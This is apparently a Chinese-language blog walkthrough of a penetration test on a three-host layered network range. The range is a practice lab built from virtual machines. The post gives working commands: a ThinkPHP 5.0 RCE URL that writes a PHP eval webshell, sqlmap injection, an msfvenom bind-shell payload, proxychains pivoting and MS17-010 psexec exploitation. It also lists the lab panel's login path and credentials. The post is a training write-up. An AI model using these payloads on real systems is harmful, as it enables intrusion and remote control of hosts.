一、环境搭建:

根据作者公开的靶机信息整理

共有三个targets,目标是拿下三台主机权限,且是三层的网络环境,内网网段有192.168.22.0/24和192.168.33.0/24,添加两张仅主机模式网卡,配置如下:

虚拟机网卡设置

target1(centos) 双网卡模拟内外网:

外网:192.168.1.3,桥接模式

内网:192.168.22.128,仅主机模式

target2(ubuntu) 双网卡存在两个内网网段:

内网1:192.168.22.22,仅主机模式

内网2:192.168.33.22,仅主机模式

target3(win7) 单网卡仅内网:

内网:192.168.33.33,仅主机模式

开启web服务环境:

宝塔后台登陆地址及密码:

http://靶机外网ip:8888/a768f109/

账号:eaj3yhsl,密码:41bb8fee,根据实际靶机ip,配置即可,我的配置如下:

二、渗透实战:

0x01 target1

信息收集

nmap 192.168.1.3 -sV -T4

访问80端口,发现是thinkphp5.0

②tp5.0 rce Getshell

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

直接使用echo写websehll(注意:linux下使用\转义$,windows下用^转义):

http://192.168.1.3/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[cmd]);?>" >shell.php

③MSF上线

我这里使用web_delivery模块一句话上线,因为方便,我懒...

利用蚁剑执行即可上线:

横向移动

查看ip信息,发现有两个网卡

添加路由、socks代理,进行横向移动

添加成功

开启socks5代理

 

存活主机探测

发现一台ip为192168.22.22的主机,并且开启了80端口,应该是web服务

ok,target1就到此结束...

0x02 target2

信息收集

proxychains nmap 192.168.22.22 -sT -T4 -Pn

配置浏览器的socks5代理,访问80端口

是一个叫什么八哥CMS搭建的(没听过...)

目录扫描

proxychains dirb http://192.168.22.22/

扫出一个robots.txt,发现有两个admin的目录

发现是一个后台登陆界面,爆破就先不打算(除非万不得已)

等待了一会dirb的扫描结果,也没其他重要的目录,就从页面源代码收集一下信息吧,竟然直接给出了注入点...

注入-->后台登陆

既然给出了注入点,那就直接sqlmap一把梭

proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch

但是sqlmap一直无法连接url,就像这样....具体啥原因还不清楚...

所以就换成了超级sql注入工具(可配置socks代理)

获取到admin表的账号密码,解密为:123qwe

然后成功登陆后台

模板Getshell

巡视了一下后台的功能点,发现有熟悉的模板功能,发现可以直接修改文件

修改tag下的index.php文件,插入webshell

蚁剑添加socks代理后连接webshell

⑤MSF上线

生成一个bind正向连接的马

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=6666 -f elf -o test.elf

上传到目标服务器

给执行权限,并执行

MSF开启监听,即可收到会话

set payload linux/x86/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.22.22
run

查看网卡配置,发现又多了一个192.168.33.0/24的网段

添加路由和socks代理

添加多一个socks代理,注意要换一个端口

探测存活主机

发现一台192.168.33.33存活主机

0x03 target3

信息探测

proxychains nmap -Pn -sT -T4 192.168.33.33

开放了445和3389,无疑是windows了

漏洞利用

永恒之蓝肯定要试试的,毕竟emm....舒服嘛hahah,注意payload使用bind直连

使用ms17_010_eternalblue打失败了

尝试另一个利用模块psexec的,成功拿下target3

三、总结:

总体来说这个靶机还是学到了挺多的,完整地体现了,是如何一步步利用跳板代理横向到最深处网络...

①Thinkphp5.x Rce漏洞利用,echo写马地注意事项

②MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动

③八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陆,后台模板Getshell

④Ms17-010的psexec利用模块的使用

⑤典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络

CFS三层网络环境靶场实战的更多相关文章

  1. 《Python3 网络爬虫开发实战》开发环境配置过程中踩过的坑

    <Python3 网络爬虫开发实战>学习资料:https://www.cnblogs.com/waiwai14/p/11698175.html 如何从墙内下载Android Studio: ...

  2. CTF大赛模拟-CFS三层内网漫游

    CTF大赛模拟-CFS三层内网漫游 环境: 三台虚拟机,三个网络. target 1:192.168.161.178 ,192.168.52.132 (linux) target 2:192.168. ...

  3. Neutron 理解 (6): Neutron 是怎么实现虚拟三层网络的 [How Neutron implements virtual L3 network]

    学习 Neutron 系列文章: (1)Neutron 所实现的虚拟化网络 (2)Neutron OpenvSwitch + VLAN 虚拟网络 (3)Neutron OpenvSwitch + GR ...

  4. 用openvswitch配置跨节点的docker网络环境

    在一篇随笔中,我们已经尝试了在不依赖工具的情况下设置docker的ip,连我都想吐槽,MD单机都这么麻烦,在多机的环境中岂不是要了我的小命! 本文就是为了多机环境中各个节点的容器通信而做的,网络拓朴如 ...

  5. 崔庆才Python3网络爬虫开发实战电子版书籍分享

    资料下载地址: 链接:https://pan.baidu.com/s/1WV-_XHZvYIedsC1GJ1hOtw 提取码:4o94 <崔庆才Python3网络爬虫开发实战>高清中文版P ...

  6. 网络知识--OSI七层网络与TCP/IP五层网络架构及二层/三层网络

    作为一个合格的运维人员,一定要熟悉掌握OSI七层网络和TCP/IP五层网络结构知识. 废话不多说!下面就逐一展开对这两个网络架构知识的说明:一.OSI七层网络协议OSI是Open System Int ...

  7. 网络知识梳理--OSI七层网络与TCP/IP五层网络架构及二层/三层网络(转)

     reference:https://www.cnblogs.com/kevingrace/p/5909719.html https://www.cnblogs.com/awkflf11/p/9190 ...

  8. openstack-- neutron 二/三层网络实现探究

    引出 Neutron 是openstack 中提供网络虚拟化的组件,根据二层网络的实现方式不同(即agent的不同),可以分为Linux bridge的方式,Openvswitch的方式.而且,lay ...

  9. openstack neutron 二/三层网络实现

    引用声明:https://zhangchenchen.github.io/2017/02/12/neutron-layer2-3-realization-discovry/ 一.概述 Neutron是 ...

随机推荐

  1. C语言关于数据类型转换

    自动类型转换 自动类型转换就是编译器默默地.隐式地.偷偷地进行的数据类型转换,这种转换不需要程序员干预,会自动发生. 1) 将一种类型的数据赋值给另外一种类型的变量时就会发生自动类型转换,例如: ; ...

  2. 项目工程化之git提交规范以及 CHANGELOG生成

    事先声明,本文是参考了其他大神的博客之后自己尝试的记录,具体可以参考如下 链接 先说说git 提交规范把,这里基本都是这个工具 cz-customizable 1,安装 npm install cz- ...

  3. Java中的集合(五)继承Collection的List接口

    Java中的集合(五)继承Collection的List接口 一.List接口简介 List是有序的Collection的,此接口能够精确的控制每个元素插入的位置.用户能够根据索引(元素在List接口 ...

  4. 节点流(文件流) FileInputStream & FileOutputStream & FileReader & FileWriter

    节点流(文件流) FileInputStream(字节流)处理视频类的                   FileOutputStream(字节流) FileReader(字符流)处理文本文件    ...

  5. web-信息泄露基础知识总结(持续更新)

    web-信息泄露 1.git泄露 Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等.发布代码的时候,如果没 ...

  6. 搭建Prometheus平台,你必须考虑的6个因素

    作者简介 Loris Degioanni,Sysdig的创始人和CTO,同时还是容器安全工具Falco的创建者. 原文链接 https://thenewstack.io/6-things-to-con ...

  7. python数据类型 列表+元组

    一:列表 二:元组 一:列表list: 1.列表中的每个元素都可变的,意味着可以对每个元素进行修改和删除: 2.列表是有序的,每个元素的位置是确定的,可以用索引去访问每个元素: 3.列表的所有元素放在 ...

  8. Rocket - tilelink - Bundles

    https://mp.weixin.qq.com/s/jrqBg2AIpQogBrpwNXjmwg   简单介绍Bundles文件中对TileLink规范(1.7.1)的定义. 参考链接:https: ...

  9. Java实现 LeetCode 106 从中序与后序遍历序列构造二叉树

    106. 从中序与后序遍历序列构造二叉树 根据一棵树的中序遍历与后序遍历构造二叉树. 注意: 你可以假设树中没有重复的元素. 例如,给出 中序遍历 inorder = [9,3,15,20,7] 后序 ...

  10. java实现平面4点最小距离

    已知平面上若干个点的坐标. 需要求出在所有的组合中,4个点间平均距离的最小值(四舍五入,保留2位小数). 比如有4个点:a,b,c,d, 则平均距离是指:ab, ac, ad, bc, bd, cd ...